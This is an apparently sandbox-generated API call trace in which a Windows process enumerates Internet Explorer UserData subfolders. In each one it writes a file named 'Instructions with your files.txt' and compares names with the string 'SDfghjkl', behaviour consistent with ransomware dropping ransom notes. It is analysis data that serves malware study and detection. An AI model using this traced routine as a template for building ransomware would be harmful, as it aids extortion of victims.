[0131.359] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="65UX3YG0", cAlternateFileName="")) returned 1
[0131.359] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0") returned 99
[0131.359] GetProcessHeap () returned 0x810000
[0131.359] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0131.359] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0\\*") returned 101
[0131.359] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0131.361] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0\\.") returned 101
[0131.361] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.361] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.361] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0\\..") returned 102
[0131.361] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.361] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.361] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0\\Instructions with your files.txt") returned 132
[0131.361] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\65UX3YG0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\65ux3yg0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0131.362] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0131.363] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0131.363] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0131.363] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0131.363] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0131.363] CloseHandle (hObject=0x124) returned 1
[0131.363] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0131.363] GetProcessHeap () returned 0x810000
[0131.363] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0131.363] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AY721QDR", cAlternateFileName="")) returned 1
[0131.363] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR") returned 99
[0131.363] GetProcessHeap () returned 0x810000
[0131.363] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0131.363] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR\\*") returned 101
[0131.363] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0131.363] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR\\.") returned 101
[0131.364] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.364] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.364] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR\\..") returned 102
[0131.364] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.364] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.364] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR\\Instructions with your files.txt") returned 132
[0131.364] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\AY721QDR\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\ay721qdr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0131.364] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0131.365] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0131.365] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0131.365] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0131.365] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0131.365] CloseHandle (hObject=0x124) returned 1
[0131.365] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0131.365] GetProcessHeap () returned 0x810000
[0131.365] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0131.365] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DZBKZBIC", cAlternateFileName="")) returned 1
[0131.365] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC") returned 99
[0131.366] GetProcessHeap () returned 0x810000
[0131.366] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0131.366] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC\\*") returned 101
[0131.366] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0131.366] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC\\.") returned 101
[0131.366] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.366] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.366] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC\\..") returned 102
[0131.366] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.366] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.366] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC\\Instructions with your files.txt") returned 132
[0131.366] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\DZBKZBIC\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\dzbkzbic\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0131.366] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0131.367] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0131.367] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0131.367] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0131.368] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0131.368] CloseHandle (hObject=0x124) returned 1
[0131.368] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0131.368] GetProcessHeap () returned 0x810000
[0131.368] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0131.368] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
[0131.368] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat") returned 100
[0131.368] StrStrIW (lpFirst="index.dat", lpSrch="SDfghjkl") returned 0x0
[0131.368] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VRLZOZ0E", cAlternateFileName="")) returned 1
[0131.368] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E") returned 99
[0131.368] GetProcessHeap () returned 0x810000
[0131.368] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0131.368] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E\\*") returned 101
[0131.368] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0131.368] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E\\.") returned 101
[0131.368] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.368] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.368] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E\\..") returned 102
[0131.368] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.368] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.368] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E\\Instructions with your files.txt") returned 132
[0131.368] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\VRLZOZ0E\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\vrlzoz0e\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0131.369] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0131.370] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0131.370] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0131.370] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0131.370] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0131.370] CloseHandle (hObject=0x124) returned 1
[0131.370] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0131.370] GetProcessHeap () returned 0x810000
[0131.370] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0131.370] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x54b9d5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b9d5d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b9d5d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VRLZOZ0E", cAlternateFileName="")) returned 0
[0131.370] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\Instructions with your files.txt") returned 123
